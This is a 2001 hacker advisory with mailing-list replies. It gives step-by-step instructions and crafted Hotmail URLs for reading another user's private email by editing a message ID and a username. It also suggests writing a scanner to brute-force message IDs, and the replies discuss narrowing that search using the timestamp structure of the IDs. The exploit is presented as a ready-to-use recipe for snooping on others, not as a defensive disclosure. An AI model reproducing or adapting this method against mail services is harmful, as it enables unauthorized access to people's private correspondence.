---=[ Three Steps To View Someones Emails In Hotmail ]=---
(Tested with Internet Explorer 5)
To view full email from some elses account do the following:
1. Login normally to Hotmail with your ID (any id)
2. Use this type of link to view specific message from specific user:
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22%26start%3d9702%26len%3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26login%3dusername%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
or
http://lw14fd.law14.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22%26start%3d9702%26len%3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26login%3dusername%26domain%3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
From that link change values:
MSG943322803%2e16 (Message id number, its simply a counter. %2e=.)
username (Hotmail account name to view)
(remove "%26raw%3d0" if you want to view email as 'emailbox view', instead of full raw view.)
(remove "&hm___fl=attrd&domain=hotmail.com" if you dont like the hotmail frame on top.)
3. Done. If you entered correct message number & that user has it you will see it. :)
(Test it with your own other hotmail account messages first to get the idea working.)
---=[ ideas and comments for improved viewing / scan ]---
Now typing those message numbers manually is too much
work, you could create a small utility to automatically
scan given range of messages from specific user name.
(You need to build it to work with IE, as you must be
logged in hotmail when you want to view messages..)
It also helps to know that from the message numbers,
in you own hotmail inbox,you can see about what time
is what message number been used. eg:
MSG997936971.27 arrived on 16.08.2001.
MSG996698372.27 arrived on 01.08.2001.
MSG975960863.0 arrived on 04.12.2000.
So you dont need to scan as many message addresses
when you know from which range you are looking at.
(Check out Hotmail Scanner Bot aka. hobo for automatic scanning.)
Test messages: (Login to hotmail,then use links to view message from my test account)
raw format view: (can copy base64 encoded files too:)
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22%26start%3d1%26len%3d99999999999%26raw%3d0%26login%3djokutesti99%26domain%3dhotmail%2ecom
email box view: (can see any attached images directly etc.:)
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22%26start%3d1%26len%3d99999999999%26login%3djokutesti99%26domain%3dhotmail%2ecom
---=[............ Research by wAwAsAn4 ..............]=---
---=[........... wAwA...@root-core.com .............]=---
---=[................. 17.08.2001 ...................]=---
==
[Digital-Vortex]
Webmaster
www.root-core.com
_____________________________________________________________
[Root-Core] - [www.root-core.com] - Free E-mail
The numbers after MSG and before the dot (i.e. 997936971, 996698372 and 975960863) is a UNIX timestamp which means, if I've understood this correctly, that you have to know exactly when a message has arrived. I dont't know about the number after the dot, but it may be the number of the message received at that exact second.
Even if you have a scanner, wouldn't it be thousands of messages to scan even if you knew which minute a message has arrived?
- Jome
> > It also helps to know that from the message numbers,
> > in you own hotmail inbox,you can see about what time
> > is what message number been used. eg:
> >
> > MSG997936971.27 arrived on 16.08.2001.
> > MSG996698372.27 arrived on 01.08.2001.
> > MSG975960863.0 arrived on 04.12.2000.
>
> The numbers after MSG and before the dot (i.e. 997936971, 996698372
> and 975960863) is a UNIX timestamp which means, if I've understood
> this correctly, that you have to know exactly when a message has
> arrived. I dont't know about the number after the dot, but it may be
> the number of the message received at that exact second.
>
> Even if you have a scanner, wouldn't it be thousands of messages to
> scan even if you knew which minute a message has arrived?
The standard UNIX timestamp only has a resolution of 1 second. If
that is indeed what they're using, there would only be 60 messages to
scan if you knew what minute the message came in, 3600 if you knew
what hour, and 86400 if you knew what day. If the part after the dot
is hundredths-of-second instead of a counter of messages received in
the same second, it's trickier; multiply all of the numbers above by
100.
From the above example, though, it looks more likely that it
represents some kind of status. Odds of there being 27 messages
received in the same second on two different occasions are slim, and
are odds that two messages were both received at 27/100ths of a second
are 1/100, which isn't all that likely either. How that affected the
time required for scans depends on how many statuses there are, and
how common each is.
-----ScottG.